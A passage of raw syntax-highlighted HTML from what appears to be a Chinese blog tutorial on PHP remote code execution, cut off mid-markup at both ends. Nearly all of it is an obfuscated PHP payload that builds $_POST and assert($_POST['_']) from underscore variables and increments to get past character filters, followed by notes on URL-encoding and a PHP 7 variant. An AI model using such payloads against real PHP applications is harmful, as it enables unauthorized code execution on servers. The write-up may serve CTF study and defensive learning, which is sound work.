style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">____</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.=</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">____</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.=</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">____</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.=</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">=$$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">____</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">_</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p>最后两行就是<code>$_POST</code>和<code>assert($_POST['_'])</code>了</p>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/58.png\" class=\"\"></p>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/59.png\" class=\"\"></p>\n<p>记得需要URL编码</p>\n<p><strong>php7</strong>只需要获得一个POST（前提是得先获得A）：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>传入/?cmd=a&#x26;post=POST</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">''</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">____</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">_</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">____</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.=</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">____</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.=</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">____</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.=</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span 